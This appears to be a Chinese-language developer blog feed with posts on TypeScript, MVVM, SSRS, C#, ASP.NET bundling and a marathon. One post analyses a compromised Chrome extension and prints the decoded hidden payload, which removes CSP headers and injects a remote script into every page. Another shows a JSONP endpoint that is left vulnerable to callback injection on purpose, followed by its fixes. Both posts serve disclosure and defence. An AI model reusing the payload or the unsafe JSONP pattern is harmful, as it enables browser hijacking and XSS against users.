HTML5 網站的程式重心大幅往 HTML、JavaScript 端移動,JavaScript 要做的事變得複雜,不再只是用 jQuery 在 <select> change() 事件寫幾行改改 <input>,程式行數呈級數爆長。弱型別又是直譯語言的 JavaScript,寫錯變數、函式名稱,傳錯型別都要等到執行期間才爆炸,更不用提程式碼難以模組化,缺乏原生物件導向特性,只能用 prototype 勉強模擬繼承、介面這些 C# 熟手覺得理所當然的語言要素。而弱型別讓程式碼重構起來困難重重,為函式改個名字、幫類別搬個家,到底有多少地方用到它,只能靠地毯式搜索逐一修改。以上困擾是 TypeScript 值得學習的重要理由,如果你不相信,可以去問那些吃過 JavaScript 苦頭的老人。哦!如果聽到有人跟你說,TypeScript 很多語法特性在新版 ECMAScript 已內建,寫原生 JavaScript 才是王道。你可以這麼回應:「先別說 ES6 了,你有聽過 IE 嗎?」,他們多半不會再說什麼,只會用同情的眼神看著你:嗯,用 TypeScript 很好,您辛苦了!

如果逃不過相容 IE 的宿命,TypeScript 讓我們放心在程式中使用 Arrow Function(()=>{ … })、Template String(像 C# @"…" 可以內含換行,還可內嵌變數)這些好用的新特性,不必擔心瀏覽器支援問題,依相容要求可編譯成適用不同 ECMAScript 規格的 JavaScript。好語言,不學嗎?

【延伸閱讀】

JavaScript 端 MVVM

在我開始寫 AJAX 網頁的那個年代,要實現下拉選單連動、顯示隱藏切換全靠 onchange 等 DOM 事件,A 元素改變時去改 B,B 元素改變時去改 C、D,只要有 jQuery,沒有做不出來的道理!但是遇上較複雜 UI,數十上百個事件交錯,常因觸發順序與預期不同產生詭異結果,光搞清楚哪些值會影響哪些值、哪些值對應到哪些元素、元素在什麼事件改變值、JavaScript 修改的資料如何反應到元素上… 就讓腦袋大打結。這是為什麼我接觸過 Knockout.js(KO)、Angular.js(NG) 這些 MVVM 框架後便再也回不去的原因!

MVVM 的核心概念是 View 的運作以 ViewModel(VM)為中心,VM 包含屬性及方法,開發者只需專心做好三件事:

  1. 定義屬性間的連動關係,例如:Amount = Qty * Price。連動反應實作依 MVVM 不同,KO 是透過 ko.computed() 訂閱屬性修改事件,NG 則用 $scope.$watch() 監測屬性異動。
  2. 將屬性單向或雙向繫結到 HTML 元素,如 <input>、<select>的內容,甚至是 CSS 樣式、Style 屬性上。若是雙向繫結,使用者輸入或操作會即時反應到 JavaScripit 的 VM 屬性,使用 JavaScript 修改 VM 屬性也會即時反應到 HTML 元素。
  3. 將修改屬性、處理資料的客製邏輯寫成方法,掛在指定 HTML 元素事件上,例如 <button> onclick

有了 MVVM 概念,開發者不需操煩在 INPUT 或 SELECT onchange 事件修改屬性並連帶更新相關屬性這些瑣事,只需定義好 VM 屬性的連動關係,將屬性繫結到 HTML 元素上,餘下的事就交給 MVVM 框架搞定。

雖然我的 MVVM 框架已從 KO 到 NG 換過一次,且未來排除會再換成 NG2 或其他框架,若聚焦 VM 的商業邏輯,即使更換 MVVM 框架,定義屬性、偵測改變設定關聯、建立單雙向繫結、掛載 DOM 事件方法這些原理並不會隨之改變,只要將框架相依性高的環節抽取出來並用介面等技巧抽象化,就能降低抽換 MVVM 框架對 CRUD (查詢新増修改刪除)網頁邏輯寫法的衝擊。(但全面改寫 HTML 是逃不掉的,再補聲暗)

依我的觀點,Knockout.js 仍是很好的 MVVM 選擇,很可惜它已註定從歷史淡出。Angular 仍是當今主流(註),也是微軟目前的前端選擇。 Angular 2 已於前陣子 RTM,跟 TypeScript、VSCode 整合緊密,現在才要踏入的人可以直接選它。至於 React 與 Vue 氣勢不容小覷,但能否登上寶座,能穩坐多久很難說,既然不打算走在最前端,就暫且保持觀望。
註:前陣子有份超過 9000 位前端開發人員參與的前端框架調查,Angular 1 是最多人用過的前端框架,React 用過說讚的比例最高,而 Vue.js 正在竄起。

我自己的狀況則是手上已累積夠成熟的 Angular 程式庫與共用元件,現階段用 Angular 開發最有利,效率最高。轉換 Angular 2 或其他框架要等具備足夠成熟的經驗及程式庫、工具後再做打算。

【延伸閱讀】

Web UI 元件庫

用 <div> <span> <input> <select> <textarea> 寫專案也能驗收?只有三種可能:客戶平常沒上網、驗收者是你爸,或者你是黑道廠商(賣兄弟茶來著)。網頁規格很難不用到日期選擇單、數字輸入欄位、頁籤、選單這些常用控制項,全部自己刻是選項但不符成本效益(光瀏覽器相容就叫人頭皮發麻),借助現成 UI 程式套件省時省力。以 Angular 為前題,以下是我知道的一些選擇:

  • jQuery UI
    歷史悠久,資源豐富,如不足還有龐大的第三方 jQuery Plug-In 助陣
  • Angular UI
    不算是獨立程式庫,是將一些現有 jQuery UI 元件或其他第三方元件包成 Angular Directive 方便使用
  • Kendo UI
    Telerik 公司的作品,有 Core 免費版,但一些精彩元件如 Grid、Chart、Editor… Kendo UI Professional 商業版才有。
    Kendo UI 元件挺齊,質感不錯,文件與範例完整,可省下可觀的開發時間。另外有一點值得一提,Kendo UI 跟技術主流的整合度挺好,有第三方 Knockout 整合,本身就支援 Angular,並即將有 Angular 2 版本。讓前端攻城獅在一次又一次被迫砍掉重練的血淚裡感受到一絲溫暖… (想到這裡,再補聲暗)
    展示網站  參考文件

發現 Chrome 外掛偷藏惡意程式

$
0
0

從 Chrome 網路監控發現異常活動,檢視本機網站卻跑出一段程式從某台 AWS 主機為網頁注入 /forton/inject_jq.js:

inject_jq.js 載入同一主機下的 /forton/cbp/cmps/60_4c15b.js:

60_4c15b.js 再載入更多 JS:

粗略看過載入的程式片段,似乎是要在網頁插入廣告(adnow、extsgo.com、st.adxxx.com)。經比對測試,無痕模式下不會載入可疑程式,懷疑是外掛造成。鎖定外掛展開調查,很快找到兇手為 Inject jQuery,停用後一切正常。

爬文找到有人在 Live HTTP HeadersGive Me CRX等外掛也發現類似惡意行為,並提到在 PNG 圖檔偷渡惡意程式碼的技術細節。

找到 \AppData\Local\Google\Chrome\User Data\Default\Extensions\indebdooekgjhkncmgbkeopjebofdoid\background.js 發現一模一樣的偷渡手法 – 使用 getFile 讀取 icon2.png,在二進位資料尋找 "init>" 及 "<end" 字樣包夾的位元組資料,以 XOR 解碼回程式碼並執行。

檢查 icon2.png,真的有 init> 及 <end:

實際執行解碼程式,查出 icon2.png 內容藏了以下程式碼:

"var zero = (a, b) => { chrome.storage.local.get({ ID: 0 }, (c=> { 0 == c.ID ? (() => { chrome.storage.local.set({ ID: (new Date).getTime() }), setTimeout(zero, a, a, b) })() : (() => { ((new Date).getTime() - c.ID || 0) < b ? setTimeout(zero, a, a, b) : one() })() })) }, one = () => { chrome.webRequest && chrome.webRequest.onHeadersReceived.addListener((a=> { if (a.tabId != -1) { for (var b in a.responseHeaders) "object" == typeof a.responseHeaders[b] && "content-security-policy" === a.responseHeaders[b].name.toLowerCase() && a.responseHeaders.splice(b, 1); return { responseHeaders: a.responseHeaders } } }), { urls: ["<all_urls>"], types: ["main_frame"] }, ["responseHeaders", "blocking"]), chrome.tabs && chrome.tabs.onUpdated.addListener(((a, b) => { "complete" == b.status && chrome.tabs.executeScript(a, { code: `(() => {var s = document.createElement('script');s.src = '//s3. eu-central-1 . amazonaws . com/forton/inject_jq.js';document.body.appendChild(s);})();` }) })) }; zero(36e5, 864e5);"

如此便取得 Inject jQuery 偷載 inject_jq.js 引進惡意程式的鐵證。但有個疑點,Inject jQuery 這個外掛我用了好一陣子,當初看過評價不差才裝的,為什麼會中獎?進一步想確認資訊時發現 Inject jQuery 已從 Chrome 線上商店下架,而 Google 搜尋結果中 65 票 4.5 顆星的高評價記錄還在,點下去已找不到網頁…

回頭查看外掛資料夾的更新日期是 2016/10/28,我懷疑被自動更新過,最近才變成有毒版本,而 Google 接收到檢舉後將外掛下架。最後我又查到一則討論,又提到好幾個 Chrome 外掛有類似問題,再提到另一個外掛 Full Screen Flash,以及我遇到的 Inject jQuery。

【結論】

最近接連出現多起 Chrome 外掛中毒案例(Give Me CRX、Live HTTP Headers、Full Screen Flash、Inject jQuery、W3School Hider…),好幾個原本可用評價正常的外掛紛紛被植入惡意廣告程式(似乎發生在自動更新後),還使用了將惡意程式碼藏在 ICON2.PNG 圖檔的手法躲避追查。雖然有問題的外掛多從 Google 商店下架,但在已安裝的機器上仍會繼續執行,建議有安裝 Chrome 外掛的朋友開 F12 Source 檢查網頁有沒有被加料,小心為上。

2016-11-11 感謝網友 RJ 補充:這種案例之前就發生過不少次,大多是因為好用的流行套件被人盯上,買下後植入惡意程式。甚至有套分頁管理套件被買走污染後,作者重新上架並 Open Source,沒想到最後新套件下架 + 作者移除 GitHub Repo,而被污染的套件還在架上。

2016-11-11 補充,Chrome 的自動停用有害外掛機制發揮作用了:

今天在另一台機開啟 Chrome 時跳出警告,Inject jQuery 已自動停用,為 Chrome 按個讚!

另外,被外掛偷塞廣告的網頁會長這様:(感謝不願具名的善心人士提供珍貴畫面)

【延伸閱讀】

【茶包射手日記】Reporting Service訂閱呈現Pending,無法寄送郵件

$
0
0

Reporting Service(SSRS)有個訂閱功能,允許針對特定報表指定查詢參數、收件對象以及排程時間,建立訂閱(Subscription)後可定期用電子郵件寄日報表、週報表給相關人員,十分方便。

接獲報案,某張日報表設有兩個訂閱,每天先發預覽版給檢核人員,方便有錯緊急更正,15分鐘後再發正式版給長官。遇到狀況為預覽版正確寄出,正式版的訂閱項目執行狀況呈現 PENDING,收件者未收到信件。

找到 SSRS Log(%programfiles%\Microsoft SQL Server\<SQL Server Instance>\Reporting Services\LogFiles),查到寄送正式版訂閱時有存取被拒錯誤,訊息裡出現某個離職同事的 AD 帳號。推敲原因是建立該訂閱的同事離職,擁有者 AD 帳號失效,導致訂閱無法執行。但有點很可疑,AD 理在上個月底失效,訂閱仍正常跑了十來天。

有趣的是,SSRS 的訂閱管理介面查不到導致 PENDING 的原因(SQLAgent,看不出訂閱的擁有者是誰,也無從修改。被迫直接查詢 SSRS 資料庫,由 dbo.Subscriptions 查出該訂閱的 OwnerID,比對 dbo.Users UserID,證實正式版的 OwnerID 屬於職離同事,與預覽版 OwnerID 不同,這解釋兩個訂閱為何一個成功一個失敗。訂閱管理介面看不到也無法修改擁有者,試著重新儲存訂閱則因擁有者 AD 帳號不存在而失敗,感覺換掉 Subscription.OwnerID 是最直覺有效的解法,但直接改資料又覺得毛毛的。

最後查到這篇 MSDN 部落格文章(情境類似,也提到 AD 失效幾天後才發作的現象),看到微軟的 RD 也這麼幹,我就放心了,Just Do It!

DECLARE @OldUserID uniqueidentifier
DECLARE @NewUserID uniqueidentifier
SELECT @OldUserID = UserID FROM dbo.Users WHERE UserName = 'DOMAINA\OldUser'
SELECT @NewUserID = UserID FROM dbo.Users WHERE UserName = 'DOMAINA\NewUser'
UPDATE dbo.Subscriptions SET OwnerID = @NewUserID WHERE OwnerID = @OldUserID

與上層命名空間成員名稱重複問題:TypeScript 與 C#

$
0
0

同事遇到的 TypeScript 小問題一則,如下圖,Foo 與 Bar.Foo Module 裡都有個 IBlah Interface(不算良好的設計但合法,用在特定情境可簡化程式),在 Bar.Foo 內想引用更上層 Foo 的 IBlah,不管宣告型別是 IBlah 還是 Foo.IBlah,指向的都是 Bar.Foo.IBlah。

同樣的情境,在 C# 裡也會上演,在 Bar.Foo 命名空間內不管寫 Foo.IBlah 或 IBlah 指的都是Bar.Foo.IBlah:

C# 可用 global:: 關鍵字指定全域命名空間解決這個問題,寫成 global::Foo.IBlah 指明是上層 Foo 命名空間下的 IBlah。〔MSDN 文件舉了一個在自己程式中命名 System、Console 的牙給範例(揪竟是為了什麼要這樣苦苦相逼呢?),使用 global:: 也可輕巧解決〕。

跳一下,回到 TypeScript 案例。在 TypeScript 沒有 global:: 可用(Github 上有人提議,但尚未納入規格),我找到的解法是利用 import ExtFoo = Foo 為外層模組取別名,在 Bar.Foo 透過 ExtFoo.IBlah 解決問題。

module Foo {
    export interface IBlah {
        External: string;
    }
}
import ExtFoo = Foo;
module Bar {
    module Foo {
        export interface IBlah {
            Internal: string;
        }
    }
 
    var x: ExtFoo.IBlah = { External: "A" };
}

快速查詢主機目前安裝的 .NET 版本

$
0
0

工作上常遇到的需求:在陌生機器上想確認已安裝的 .NET Runtime 版本,只有 4.0,還是已升到 4.5.2 甚至 4.6?

MSDN 建議的官方做法是檢查 Registry,程式邏輯不複雜要自己寫個小工具並不困難,但每次測試得 Copy 程式檔太搞剛,於是我想到了 PowerShell!

在 Stackoverflow 找到網友分享用 Powershell 檢查 .NET 版本的範例

Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse |
Get-ItemProperty -name Version,Release -EA 0 |
Where { $_.PSChildName -match '^[^0-9S]'} |
Select PSChildName, Version, Release, @{
  name="Product"
  expression={
switch -regex ($_.Release) {
"378389" { [Version]"4.5" }
"378675|378758" { [Version]"4.5.1" }
"379893" { [Version]"4.5.2" }
"393295|393297" { [Version]"4.6" }
"394254|394271" { [Version]"4.6.1" }
"394802|394806" { [Version]"4.6.2" }
        {$_ -gt 394806} { [Version]"Undocumented 4.6.2 or higher, please update script" }
      }
    }
}

註:Stackoverflow 上原本的寫法是 Where { $_.PSChildName -match '^(?!S)\p{L}'} ,用到的 Regular Expression 語法有點生澀難懂:^(?!S) 指明第一個字母不可是 S 以排除 Setup;\p{L} 則規定必須字母起首(參考:Unicode Category)排除 1033、1028 等語系代碼項目,我改用 ^[^0-9S] ,結果相同,但好記好懂許多。

測試成功!以上是我找到最快速查出 .NET 已安裝版本的方法。


C# Interpolated Strings 字串插值

$
0
0

TypeScript 有個好東西,Template String,輸出內嵌動態資料 HTML 時非常好用,例如:

var userName: string = "Jeffrey";
var iconUrl: string = "/imgs/runner.gif";
var html = `
<div>
    Hello, ${userName}! <img src="${iconUrl}" />
</div>`;
alert(html);

場景移到 C#,字串內含換行符號靠 @"…." (String Literal,字串常值)可輕鬆擺平,是 .NET 1.1 時代就有的老東西。TypeScript 在字串裡用 ${variable_name} 直接穿插變數的做法稱為 String Interpolation,C# 傳統上靠 string.Format("<div>Hello, {0}</div>", userName) 實現(術語為 Composite Format,複合格式)。C# 6.0 起新加入 Interpolated Strings(字串插值)特性,不需再用 string.Format() 就可直接混搭文字與變數。

使用 Interpolated String 時只需在雙引號前加上 $ 符號,即可在字串中大大方方以大括號夾入變數,例如:$"Hi, {userName}.",同時還可比照 string.Format(),以 :n0、:yyyy-MM-dd 指定格式,十分方便。不囉嗦,直接看範例:

class Program
    {
staticvoid Main(string[] args)
        {
//插入變數,比照string.Format可加上:n0,:yyyy-MM-dd等格式規範
            var userName = "Jeffrey";
            var score = 32767;
            var result = $"{userName}'s score is {score:n0}. {DateTime.Today:yyyy-MM-dd}";
            Console.WriteLine(result);
//指定固定寬度
            var items = newstring[] { "Notebook", "Phone", "PC" };
foreach (var item in items)
            {
                Console.WriteLine($"{item, 12} checked.");
            }
//加入邏輯運算,與@""混合使用以支援換行,用{{、}}代表{、}
            Console.WriteLine($@"
{{ {score} + 1 = {score + 1} }}
{score} is {(score % 2 == 0 ? "even":"odd")}
");
            Console.Read();
        }
    }

執行結果:

Jeffrey's score is 32,767. 2016-11-22
    Notebook checked.
       Phone checked.
          PC checked.

{ 32767 + 1 = 32768 }
32767 is odd

注意:Interpolated String 屬 C# 6.0 新增規格,Visual Studio 2015 起才支援(參考),如果你的專案開發環境仍停留在 Visual Studio 2013,看在可以少打好多字的份上,考慮升級吧!:P

ASP.NET MVC ScriptBundle Cache 原理剖析

$
0
0

工作上遇到幾起 ASP.NET MVC ScriptBundle 機制在更新 JS 檔後卻讀到舊版內容的問題,沒搞清楚原理查起問題有些茫然,做功課的時間又到了。

依據官方文件(見 Bundle Caching 一節),@Scripts.Render("~/bundles/blah") 會被轉成 <script src="/bundles/blah?v=FVs3…ulE1" type="text/javascript"></script>,並宣告長達一年的 Cache 有效期限。除非使用者強制重新整理(Ctrl-F5)或清除 Cache,省去由伺服器重新下載,有利提升效能。但啟用 Cache 後必須避免伺服器端更新瀏覽器還渾然不知的狀況,URL 後方的 v 參數就是關鍵。只要 JS 或 CSS 一更新, v 值就不同,即可確保使用者一定讀到新版。

如此已大致了解原理,但有兩點疑問:

  1. 更新 JS/CSS 後,需要重啟網站應用程式 v 值才會更新嗎?
  2. v 值如何決定?是時間標籤?還是檔案內容 Hash?

簡單,做個實驗不就知道答案了。

為求簡便,我直接用 /bundles/jquery 測試,ASP.NET MVC 專案在 BundleConfig.cs 預設宣告 bundles.Add(new ScriptBundle("~/bundles/jquery").Include("~/Scripts/jquery-{version}.js"));,我設計了如下 TestBundle.cshtml,用 JavaScript 直接顯示 <script> src 在網頁上:

@{
    Layout = null;
    BundleTable.EnableOptimizations = true;
}
<!DOCTYPEhtml>
<html>
<head>
<metaname="viewport"content="width=device-width"/>
<title>TestBundle</title>
    @Scripts.Render("~/bundles/jquery")
</head>
<body>
<div>
<script>
            document.write($("script:first").attr("src"));
</script>
</div>
</body>
</html>

Scripts 目錄下有 jquery-1.10.2.js 及 jquery-1.10.2.min.js,依據 ScriptBundle 運作原理,min.js 存在時將取用壓縮版,否則會由 js 壓縮。實驗開始!

  1. 初始 URL 如下:
    /bundles/jquery?v=FVs3ACwOLIVInrAl5sdzR2jrCDmVOWFbZMY6g6Q0ulE1              
  2. jquery-1.10.2.js 結尾加上var t="Jeffrey";
    /bundles/jquery?v=FVs3ACwOLIVInrAl5sdzR2jrCDmVOWFbZMY6g6Q0ulE1
    v 未發生任何變化,因為實際讀取的是 jquery-1.10.2.min.js,修改 .js 不發生影響
  3. jquery-1.10.2.min.js 加一個空白
    (function(e,t) 改成 ( function(e,t) (function 前方插入一個空白)
    /bundles/jquery?v=FVs3ACwOLIVInrAl5sdzR2jrCDmVOWFbZMY6g6Q0ulE1
    一樣沒有改變,推論空白或註解不影響 v 值
  4. jquery-1.10.2.min.js 增加一小段程式
    (function(e,t) 改 var t="Jeffrey";(function(e,t)
    /bundles/jquery?v=AhaCLni7VxBk8MOj_UILsTsQ_UHx-uhYLNlfOIqHpL41
    v 值改變
  5. 刪除 jquery-1.10.2.min.js
    /bundles/jquery?v=yLrUYw8wJsDVphfZd34hBbV8EDUqbXgqcJTvyPCUCRg1
    v 值跟一開始不同,推測此時改由 jquery-1.10.2.js 決定 v 值
  6. jquery-1.10.2.js 結尾加上//Comment Test
    })( window );
    //Comment Test
    /bundles/jquery?v=yLrUYw8wJsDVphfZd34hBbV8EDUqbXgqcJTvyPCUCRg1
    加註解不影響 v 值
  7. jquery-1.10.2.js 結尾加上var t="Jeffrey";
    })( window );
    var t="Jeffrey";
    /bundles/jquery?v=_LgVA5lYsIBF-Ewy4gYBtrCBcqipfPdNC1xBqwwYAMg1
    v 值改變
  8. jquery-1.10.2.js 恢復原樣
    /bundles/jquery?v=yLrUYw8wJsDVphfZd34hBbV8EDUqbXgqcJTvyPCUCRg1
    恢復第 5 點的 v 值

想更進一步了解 v 值的由於,我追進 System.Web.Optimization Open Source。v 值來自 GetBundleResponse(BundleContext context).GetContentHashCode(),判斷是以 Script 壓縮後內容計算而得的 Hash 值,此與我們的觀察一致:

/*** Bundle.cs ***/
/// <summary>
/// Returns the full url with content hash if requested for the bundle
/// </summary>
/// <param name="context"></param>
/// <param name="includeContentHash"></param>
/// <returns></returns>
internalstring GetBundleUrl(BundleContext context, bool includeContentHash = true) {
string bundleVirtualPath = context.BundleVirtualPath;
if (includeContentHash) {
        BundleResponse bundleResponse = GetBundleResponse(context);
        bundleVirtualPath += "?" + VersionQueryString + "=" + bundleResponse.GetContentHashCode();
    }
return AssetManager.GetInstance(context.HttpContext).ResolveVirtualPath(bundleVirtualPath);
}
 
/*** BundleResponse ***/
internalstaticstring ComputeHash(string input) {
using (SHA256 sha256 = CreateHashAlgorithm()) {
byte[] hash = sha256.ComputeHash(Encoding.Unicode.GetBytes(input));
return HttpServerUtility.UrlTokenEncode(hash);
    }
}
 
/// <summary>
/// Returns a hashcode of the bundle contents, for purposes of generating a 'versioned' 
/// url for cache busting purposes.
/// This is not used for cryptographic purposes, just as a quick and dirty way to 
/// give browsers a different url when the bundle changes
/// </summary>
/// <returns></returns>
internalstring GetContentHashCode() {
if (_contentHash == null) {
if (String.IsNullOrEmpty(Content)) {
            _contentHash = String.Empty;
        }
else {
            _contentHash = ComputeHash(Content);
        }
    }
return _contentHash;
}

至於 GetBundleResponse(context),背後有個 Cache 機制。若 Cache 裡沒有要存取的內容,GetBundleResponse 會呼叫 GenerateBundleResponse() 並使用 UpdateCache() 將內容存入 Cache 供下次取用:

/// <summary>
/// Uses the cached response or generate the response, internal for BundleResolver to use
/// </summary>
/// <param name="context"></param>
/// <returns></returns>
internal BundleResponse GetBundleResponse(BundleContext context) {
// Check cache first
    BundleResponse bundleResponse = CacheLookup(context);
 
// Cache miss or its an instrumentation request (which we never cache)
if (bundleResponse == null || context.EnableInstrumentation) {
        bundleResponse = GenerateBundleResponse(context);
        UpdateCache(context, bundleResponse);
    }
return bundleResponse;
}

關鍵來了,UpdateCache() 將內容存入 Cache 的同時,透過 VirtualPathProvider.GetCacheDependency()產生相依於檔案的 CacheDependency 作為 Cache.Add() 相依物件參數。一旦檔案內容有所更動,該檔案關聯的內容便會從 Cache 移除,下次 CacheLookup() 存取時再重新讀檔壓縮打包,進而產生不同的 Hash 值:

/// <summary>
/// Stores the response for the bundle in the cache, also sets up cache depedencies for 
/// the virtual files used for the response
/// </summary>
/// <param name="context"></param>
/// <param name="bundle"></param>
/// <param name="response"></param>
publicvoid Put(BundleContext context, Bundle bundle, BundleResponse response) {
    List<string> paths = new List<string>();
    paths.AddRange(response.Files.Select(f => f.VirtualFile.VirtualPath));
    paths.AddRange(context.CacheDependencyDirectories);
string cacheKey = bundle.GetCacheKey(context);
// REVIEW: Should we store the actual time we read the files?
    CacheDependency dep = context.VirtualPathProvider.GetCacheDependency(context.BundleVirtualPath, 
    paths, DateTime.UtcNow);
    context.HttpContext.Cache.Insert(cacheKey, response, dep);
    bundle.CacheKeys.Add(cacheKey);
}

由以上的觀察與分析,結論如下:

ScriptBundle URL 透過 v 參數避免客戶端使用過期內容。v 值來自 min.js 或 js 檔案內容的 Hash(排除空白及註解),其背後以 Cache 機制提升效能,並使用 CacheDependency 偵測檔案改變(不需重啟或重新編譯),檔案更新時將刪除 Cache 以便下次重新讀取並產生不同的 v 值,確保不會誤用過時內容。

漫談 JSONP 的 XSS 攻擊風險

$
0
0

JSONP是解決跨網域 JavaScript 呼叫的古老方法,簡單有效又不挑瀏覽器,至今仍是我常用的兵器之一。最近在想一個問題,JSONP 呼叫時由客戶端指定 Callback 函式名稱,是一個可以注入惡意程式碼的管道,有否存在 XSS 攻擊的風險?需不需要積極防護?

經過嘗試,發現要透過 JSONP 發動攻擊是可能的,但前題是開發者犯了某些低級錯誤。

使用以下網頁示範:

<%@ Page Language="C#" %>
<scriptrunat="server">
void Page_Load(object sender, EventArgs e) {
if (Request["mode"] == "jsonp") {
string callback = Request["callback"];
            Response.Write(string.Format("{0}({1})",
                callback, 
                Newtonsoft.Json.JsonConvert.SerializeObject(
"Param=>" + Request["param"]
                )));
            Response.End();
        }
    }
</script>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>JSONP XSS Issue</title>
<script src="https://code.jquery.com/jquery-2.2.4.min.js"></script>
</head>
<body>
<input type="text" id="txtParam" value="Darkthread" />
<button>Test JSONP</button> 
<script>
$("button").click(function() {
    $.ajax({
        url: "http://127.0.0.1/JSONP/JsonpDemo.aspx?mode=jsonp&param=" + $("#txtParam").val(),
        dataType: "jsonp"
    }).done(function(data) {
        alert(data);
    });
});
</script>
</body>
</html>

範例為求單純,客戶端與伺服器端寫在同一支程式,但我將它掛在 IIS localhost/JSONP/ 下,呼叫時則用 127.0.0.1/JSONP,瀏覽器將其視為兩個網站,GET/POST AJAX 呼叫將被阻擋,要透過 dataType: "jsonp" 才能溝通

執行時客戶端透過 jQuery.ajax 發出 JSONP 呼叫並帶入param 參數,jQuery 會附上隨機產生的函式名稱當成 callback 參數;而伺服器端傳回"callback函式名稱(傳回資料的JSON結果內容)"送交客戶端執行,傳回資料會經由 JSON 還原成 done(function(data) { … })中的 data。

程式裡故意留了一個低級錯誤,url: "httq://127.0.0.1/JSONP/JsonpDemo.aspx?mode=jsonp&param=" + $("#txtParam").val() 直接串接使用者輸入內容,跟 SQL Injection 一樣會導致被注入惡意程式的風險,請看示範:(註:依我個人看法,此攻擊管道雖然存在,但要藉由它攻擊第三者還需其他條件配合,例如:惡意指令寫入DB、程式由DB讀取後當成呼叫 JSONP 的 URL 參數,並在第三者看得到的網頁執行)

使用者輸入&callback=後就可以串接任意 JavaScript 程式碼(跟 SQL Injection 的單引號起手式如出一轍),如同 SQL Injection 要靠 Parameter 杜絕,在 QueryString 串接參數內容時要用 encodeURIcomponent 編碼也是基本常識(補充),而既然是用 jQuery,透過 data: { param: $("#txtParam").val() } 交給 jQuery 更省事:

$("button").click(function() {
    $.ajax({
        url: "httq://127.0.0.1/JSONP/JsonpDemo.aspx",
        data: { mode: "jsonp", param: $("#txtParam").val() },
        dataType: "jsonp"
    }).done(function(data) {
        alert(data);
    });
});

param 參數經過編碼後就永遠只是字串值,無法再夾帶攻擊指令。

進一步想,那麼伺服器端是否也能加上防護,阻止客戶端犯下愚惷的錯誤呢?不難,只要妥善過濾 callback 傳入內容即可,既然 callback 是個函式名稱,我們可限定它只能包含英數字及底線符號,即可社絕被夾帶 JavaScript 程式,例如:

void Page_Load(object sender, EventArgs e) {
if (Request["mode"] == "jsonp") {
string callback = Request["callback"];
if (!System.Text.RegularExpressions.Regex.IsMatch(
                callback, "^[0-9A-Za-z_]{1,64}$")) 
            {
                Response.Write("alert('Invalid callback parameter');");
            }
else
            {
                Response.Write(string.Format("{0}({1})",
                callback, 
                Newtonsoft.Json.JsonConvert.SerializeObject(
"Param=>" + Request["param"]
                )));
            }
            Response.End();
        }
    }

程式檢查 callback 參數是否由純粹英數字或底線組成,並限定長度最多 64 字元,遇到被穿插 JavaScript 程式片段時改傳警告:

【結論】

當開發者犯下 URL 直接串接使用者輸入內容的低級錯誤,就可能導致 JSONP 遭受 XSS 攻擊,請務必使用 encodeURIcomponent() 編碼;至於伺服器端,嚴格限定 callback 參數只可包含單純文數字,可進一步防呆。

補記:發現 jQuery 1.x $.ajax 執行 JSONP 出錯時不會觸發 error 事件或 fail(),需升級至 2.x 以上版本或考慮改用第三方外掛如 jquery-jsonp

2016 觀音山馬拉松

$
0
0

小而美的觀音山馬,去年一試成主顧,今年繼續報到。

氣象預報有 30%-50% 的下雨機率,六點多抵達會場時雲層密佈,看來會是不錯的跑馬天。

會場人聲鼎沸,幾十公尺外,微風運河水面如鏡,河邊有位裝備齊全的阿伯釣魚釣到忘我,幾步之遙,兩個世界。

神將是蘆洲地方特色之一,遇上神將們一字排開拍紀念照,「跑馬有神助,輕鬆跑山路」,哈!

來了好多大人物,新北副市長、立委、議員雲集,我倒也不排斥,這也是地方賽事的特色囉。今年大會的紀念衫改為紀念風衣(照片講者身上那件),頗受好評。

起跑前在會場亂逛,在蘆洲分局的宣導攤位看到怪異組合~

家樂福在會場搞了一個前進指揮所,現場賣起飲料、零食跟運動用品,有創意~

七點準時起跑!

看到襯衫領帶西裝公事包加皮鞋(登楞!),Cosplay 快遲到上班族的跑友,很有趣。(跑完皮鞋就報銷了吧?)

起跑後先來七公里河濱暖腳才進入山路段。

出了河濱 Bottleneck 來了,大家乖乖成兩路排隊上天橋。我是來玩的,沒差這幾分鐘,卻苦了晚半小時出發追上的半馬女總一,一臉焦急,沿路高喊「借過,讓一讓,借過,借過…」想從全馬中段班突圍。嗯,跑在「最前端」,比別人辛苦是免不了滴 XD

過了馬路進入山區,開始面對一串坡度 20%-25% 的山路。唔… 好硬!

硬漢嶺叉路到了,聽聞步道很硬,但山頂有 360 度的好視野,改天再來嚐一嚐。

過了遊客中心高點,跑下山的另一面,台北港海景映入眼簾。可惜滿天是雲,如果有藍天,海天一色就更美了。

老天爺:咦?有人要藍天嗎?As you with!

哇!藍色的海,藍色的天!

等等,好像哪裡怪怪的… 呸呸呸,我收回,請給我陰天,給我陰天啊啊啊~~~
(亂許願之後,後半馬烤肉秀登場)

今年路線小改,過八里療養院後不原路折返而是繞環狀接回國家風景區字樣叉路,原路越過小山頭返回河濱。

太陽不小,但越過林蔭段一陣清風徐來,在腦內啡催化下,頓時感覺身心舒暢,夫復何求?

水站熱情依舊,每站配備大致相同,樣式也跟去年一致,西瓜(甜)、小蕃茄、橘子、葡萄、香蕉、餅乾、巧克力、燕麥條、水、運動飲料、沙士,後段有幾站還有啤酒,SOP 得讓人很放心。最棒的是幾乎站站都有冰塊,能喝到冰啤酒跟冰汽水是跑馬一大樂事~在水站看到去年的金牌廚師,「天國近了,來水站得永生」「很累吼,明年還要報?」標語也成了本場特色 XD

來時的 25% 陡上變陡下,大步怕傷腳,碎步怕跘倒,一樣很硬斗。

天氣變好,關渡橋一帶河濱車道滿滿都是鐵馬客,塞車囉~

每回必拍的關渡橋。

順順跑完河濱最後 5K 回到終點,晶片成績5:47:07,隨便囉,開心就好。十二金釵久候多時等著為跑友掛獎牌,今年走可愛女僕風,但有位皮膚黝黑的「女」僕漢草身材好嚇人,哈!

有更衣帳蓬可以換衣服真是貼心,不用排隊還可一人獨享,我愛小而美賽事!拍照時有隻「黑糖」繞著帳篷跑來跑去找主人,就一起入鏡囉。(小狗隨後就找到主人,請勿擔心)

完賽獎牌:

  

觀音山馬拉松,明年再會囉~

Visual Studio 中文英文介面切換

$
0
0

Visual Studio 我習慣用英文版,尤其是版控有一堆術語:Check In、Check Out、View History、Pending Changes、Branch/Merge、 Get Latest 平時多用英文,溝通 UI 操作方法時硬要翻譯成「檢視記錄」、「暫止的變更」、「取得最新的版本」,挺彆扭。

工作上遇到幾起誤裝 Visual Studio 中文版又不知如何切成英文的案例,特地寫篇筆記。

